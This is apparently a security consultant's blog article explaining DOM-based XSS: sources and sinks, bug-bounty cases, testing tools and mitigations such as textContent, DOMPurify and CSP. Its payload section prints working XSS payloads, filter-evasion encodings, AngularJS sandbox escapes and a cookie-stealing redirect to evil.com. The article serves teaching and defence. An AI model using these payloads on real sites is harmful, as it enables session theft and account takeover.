Ever wonder why some web attacks breeze past your security stack without leaving a single breadcrumb?
Meet DOM based XSS—the stealth operator of the cross-site scripting family. While traditional XSS piggybacks on server responses, DOM XSS lives entirely in the browser. No server requests. No log entries. Just silent, client-side sabotage.
Here’s the kicker: the attack doesn’t change a single byte of your HTTP response. Instead, it hijacks the Document Object Model—the live blueprint of your page—tricking your own JavaScript into running malicious code. Your app keeps humming along, but an attacker now controls the narrative.
Modern web apps are perfect prey. Single Page Applications swap and update content with JavaScript in real time, and frameworks keep adding more moving parts. Every new feature widens the target. If your defenses stop at server-side validation, you’re already exposed.
DOM XSS isn’t theoretical. It’s active, silent, and built to exploit one sloppy line of code. Before your next release, ask yourself: where is untrusted data flowing in your app right now?
Understanding DOM Based XSS in Modern Web Apps
DOM based XSS starts with untrusted data entering the browser from attacker-controlled sources—think document.URL
, location.search
, document.referrer
, or even window.name
. That data travels until it hits a “sink,” a spot where JavaScript can execute code. Classic sinks include innerHTML
, document.write()
, eval()
, setTimeout()
, and event handler attributes like onclick
. When a sink consumes malicious input, the browser dutifully runs the injected script.
Because the entire exploit plays out client-side, traditional server-side detection is useless. Attackers often hide payloads in URI fragments (the part after #), which never reach your server at all. Security scanners that focus on HTTP responses simply don’t see it.
The fallout is ugly: stolen cookies and sessions, fake login prompts, phishing redirects, crypto-mining injections, or full-on page defacement. Testing means mapping data flow from every possible source to every possible sink and neutralizing unsafe DOM manipulations. In today’s JavaScript-heavy apps, spotting these chains isn’t optional—it’s the only way to keep a single rogue input from owning your entire front end.
Breaking Down DOM Based XSS: How It Works
DOM based XSS doesn’t follow the classic playbook. Forget the usual “send malicious input to the server, get a poisoned response back” attack. This one lives—and detonates—entirely inside the browser. Your browser is the crime scene.
Client-Side Execution
Here’s the twist: the malicious script never even brushes the server. Your HTTP response stays squeaky clean. The page looks normal. Yet the browser is running someone else’s code. Web application firewalls can’t flag it. Your logs stay empty. Think of it this way: traditional XSS is like a poisoned letter sent through the mail. DOM XSS is poison slipped directly into your kitchen.
The Attack Path
DOM XSS follows a predictable route:
- Source – An attacker finds a controllable entry point.
- Flow – The data travels through your JavaScript.
- Sink – It lands in an unsafe function and executes.

Attack Path of DOM XSS
Common sources: document.URL
, location.href
, location.search
, document.referrer
, window.name.
Dangerous sinks: document.write()
, innerHTML
, eval()
, setTimeout()
, setInterval()
, execScript()
.
Example vulnerable code:
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
Control the search value and inject this payload:
\<img src="" alt="" onerror="alert(document.cookie)"\>
The browser obediently executes it. Data in, code out.
DOM vs. Reflected vs. Stored XSS
All three XSS types run JavaScript in your browser, but the delivery differs:
- DOM-based XSS: Entirely client-side, no server involvement, hardest to detect.
- Reflected XSS: Server echoes the payload in its response, medium detection difficulty.
- Stored XSS: Server saves and serves the payload later, easiest to catch.
Sometimes these overlap, like reflected-DOM XSS where a server reflects input that front-end code mishandles. But pure DOM-based XSS is the real phantom. URI fragments—the part after #—never leave the browser, so the payload never reaches your server or security tools.
That’s the danger: invisible data flows, zero server logs, and a single unsafe DOM update can hand attackers the keys to your front end while every server-side control shows green.
Real DOM Based XSS Examples from HackerOne and GitHub
DOM XSS isn’t theory—it’s alive in production code every day. Bug-bounty reports on DOM XSS HackerOne highlight how attackers exploit client-side flaws, while GitHub proof-of-concepts show similar techniques..
jQuery selector sink with hashchange
A HackerOne report exposed a deceptively simple bug—DOM XSS in a jQuery selector sink using a hashchange event. The app listened for the hashchange
event and dropped location.hash
directly into a jQuery selector:
$(location.hash).show();
That one line was all an attacker needed. By sharing a URL like /#<img src=x onerror=alert(1)>
, the attacker triggered the event, jQuery rendered the payload, and the script executed—no server logs, no alarms.
Open redirection through DOM manipulation
Another bounty uncovered open redirection DOM based HackerOne issues, where JavaScript read a URL fragment and pushed users to window.location
with no checks. One crafted link silently funneled victims from a trusted site to a perfectly cloned phishing page, ready to steal credentials.
GitHub PoCs and test cases
GitHub hosts dozens of proof-of-concept repositories demonstrating dangerous source-to-sink chains: reckless innerHTML
updates, document.write()
calls, eval()
abuse, and more. These PoCs double as training material and red-team ammo, showing that DOM XSS isn’t a fringe issue—it’s widespread and repeatable.
The takeaway is blunt: client-side trust is a myth. If your code moves untrusted data from the DOM to an executable sink without rigorous sanitization, an attacker will eventually find it. DOM XSS thrives in single-page apps and modern JavaScript frameworks, making proactive testing and strict input handling the only real defense.
Manual and Automated DOM Based XSS Testing Techniques
Testing for DOM XSS takes more than your usual security checklist. Static scans and server-response checks barely scratch the surface—dynamic analysis uncovers 83% more DOM XSS than traditional methods. That’s a crater-sized blind spot no team can ignore.
Testing HTML sinks using Chrome DevTools
HTML sinks are the easiest starting point. This is a manual testing approach that helps you identify where untrusted data lands in the DOM.
- Inject a random string into a potential source such as
location.search
orlocation.hash
. - Open Chrome DevTools and press Ctrl+F (Cmd+F on Mac) to search the live DOM for that string.
- Find where it lands—in attributes, tags, or inline JavaScript.
- Adjust the payload until you can break out of the context.
Skip “View Source.” It won’t show JavaScript-driven DOM changes. Remember: Chrome, Firefox, and Safari URL-encode location.search
and location.hash
, but IE11 and old Edge versions do not.
Tracking taint flow with JavaScript breakpoint
Execution sinks are trickier because your input might not appear visually. This is also a manual testing technique for following untrusted data from source to sink.
- Use Ctrl+Shift+F (Cmd+Alt+F on Mac) to search every JavaScript file.
- Set breakpoints where the source data is accessed.
- Follow the variable through the debugger until it reaches a dangerous sink.
Think detective work—tracing untrusted data from source to sink through messy code paths.
Using Burp Suite's DOM Invader for automated detection
Manually stepping through minified JavaScript is painful. Burp’s DOM Invader automates the chase:
- Injects a unique “canary” string into common sources
- Tracks its flow to sinks
- Shows an augmented DOM view with controllable sinks
- Provides stack traces and severity ratings
It reveals runtime issues that static tools will never see.
DOM XSS GitHub repositories for test cases
Need real-world practice? GitHub delivers:
- payloadbox/xss-payload-list with hundreds of payloads organized by tag and event type
- Repositories packed with proof-of-concept examples and vulnerable code you can replicate
Limitations of traditional SAST/DAST tools
Traditional security tools have major blind spots for DOM XSS.
- SAST reviews code but misses runtime issues. Even careful manual inspection can fail to trace complex source-to-sink flows.
- DAST checks server responses, so purely client-side DOM XSS never triggers alerts.
- Static analysis alone misses around 90% of runtime DOM XSS vulnerabilities.
DOM XSS hides in the browser, beyond traditional tools. Manual testing uncovers tricky flows, automated tools catch what you might miss. Combine both, test dynamically, and stay vigilant.
Crafting DOM XSS Payloads That Actually Work
Exploiting DOM XSS isn’t about copy-paste attacks. Each application behaves differently, and DOM based XSS payloads must be carefully crafted to fit the context. Understanding where your input lands and how the browser interprets it is critical for a successful attack. Generic payloads rarely work in real scenarios. Skilled attackers study the DOM, analyze JavaScript flows, and craft payloads tailored to the environment.
When <script>
Tags Get Blocked
The <script>
tag is the obvious choice for executing JavaScript, but modern apps block it immediately. Attackers pivot to HTML elements with event handlers:
<img src="" onerror="alert(document.cookie)"> //executes when the image fails to load
<body onload=alert("XSS")> // triggers automatically on page load
<iframe src="javascript:alert('XSS')"> // executes code inside an embedded frame
Even seemingly harmless HTML tags can become dangerous vectors:
<div style="background-image:url(javascript:alert('XSS'))">
<table background="javascript:alert('XSS')">
<input type="image" src="javascript:alert('XSS')">
Sneaking Past Filters with Encoding
Filters hunt for known patterns. Hide your payload using encoding tricks:
-
HTML entity encoding:
javascript:alert('XSS')
decodes tojavascript:alert('XSS')
-
Unicode escapes:
\u0061\u006C\u0065\u0072\u0074(1)
— browsers interpret asalert(1)
-
Breaking keywords with whitespace:
jav
ascript:
ale
rt('XSS')
— ignored by browsers
Other obfuscation methods include:
eval('al'+'ert(1)')
— string concatenation
eval(atob('amF2YXNjcmlwdDphbGVydCgxKQ'))
— Base64 decoding
Chaining DOM XSS with Other Attacks
DOM XSS alone is dangerous; combined with CSRF or other attacks, it becomes devastating:
- Account takeovers: XSS triggers authenticated requests to change user settings
- Unauthorized transfers: Initiates financial transactions silently
- Data theft:
<script>
window.location="http://evil.com/?cookie="+document.cookie
</script>
Users are redirected while their cookies leak silently, enabling session hijacking without their knowledge.
Framework-Specific Attack Vectors
jQuery:
$(location.hash)
— selector injection via hashchange events
$('#element').attr("href", user_input)
— JavaScript URL injection
AngularJS:
Expression injection: {{$on.constructor('alert(1)')()}}
Sandbox escape: {{'a'.constructor.prototype.charAt=[].join;eval('x=1} } };alert(1)//');}}
These payloads exploit built-in framework functionality, making detection harder.
The Truth About Payload Crafting
Context is everything. A payload that works in one application may fail in another. Professionals study the target, understand where inputs land, and craft payloads precisely. Generic attacks are amateur tools; mastery comes from adapting each attack to its environment. Precision, observation, and testing are what make DOM XSS exploitation successful.
Mitigating DOM Based XSS in JavaScript Applications
It’s time to lock down your JavaScript apps. DOM XSS is sneaky, but with the right defenses, you can stop it before it becomes a problem. Here’s how to build protections that actually work.
Ditch innerHTML
for textContent
First rule: don’t leave an open door for attackers. innerHTML
renders everything as markup, which is dangerous when displaying user input. textContent
treats everything as plain text, making it safe.
// Unsafe
element.innerHTML = userInput;
// Safe
element.textContent = userInput;
One simple change can prevent a huge number of vulnerabilities.
Need HTML? Use DOMPurify
Sometimes you legitimately need HTML. DOMPurify acts as a sanitizer, stripping dangerous content while keeping legitimate code.
element.innerHTML = DOMPurify.sanitize(untrustedHTML);
It works by parsing your input into a detached DOM structure, inspecting each node, and applying strict safety rules. Reliable and effective.
Deploy Content Security Policy (CSP)
CSP provides a backup layer. Even if other defenses fail, a strict policy can stop attacks:
Content-Security-Policy: object-src 'none';
script-src 'nonce-{random}' 'strict-dynamic';
base-uri 'none';
This blocks inline scripts without proper nonces and disables risky functions like eval()
. Think of it as double protection.
Ban Dangerous JavaScript Functions
Some functions create attack vectors you don’t need:
eval()
setTimeout()
with string argumentssetInterval()
with stringsFunction
constructor
Safer alternatives:
// Unsafe
setTimeout("alert('Hi!');", 100);
// Safe
setTimeout(function() { alert('Hi!'); }, 100);
Validate Everything
Input validation is your first line of defense.
- Validate all user input
- Never include user input directly in JS code
- Use safe DOM methods:
document.createElement("div");
element.setAttribute("class", "user-content");
element.appendChild(textNode);
Layer your defenses. Using textContent
, DOMPurify, CSP, banning dangerous functions, and validating input covers multiple attack vectors. Together, they create a strong shield against DOM XSS. Protect your users’ data—don’t let a DOM XSS vulnerability break their trust.
The Whole Truth About DOM XSS
DOM XSS is the ghost in your web application. It strikes without leaving server fingerprints, slips past security tools, and executes in plain sight while staying invisible to traditional defenses.
These attacks live entirely in the browser, making them especially dangerous for modern, JavaScript-heavy apps. The source-to-sink data flow? That’s your vulnerability blueprint. Master it, and you’re halfway to a strong defense.
Testing DOM XSS requires fresh thinking: manual hunting with Chrome DevTools, automated discovery with Burp Suite’s DOM Invader. Traditional SAST and DAST tools? They often miss these attacks entirely.
Protection comes in layers: switch innerHTML
to textContent
when possible, sanitize HTML with DOMPurify, enforce strict CSP, ditch eval()
and other dangerous functions, and always validate input before DOM insertion.
DOM XSS isn’t going anywhere. The web is more dynamic, client-heavy, and JavaScript-dependent than ever—expanding the attack surface. Code clean, test relentlessly, and stay vigilant. The next variant is always around the corner.
Your users trust you with their data, sessions, and accounts. Don’t let DOM XSS break that trust.
#nothingtohide when it comes to web security.
Frequently Asked Questions

Robin Joseph
Senior Security Consultant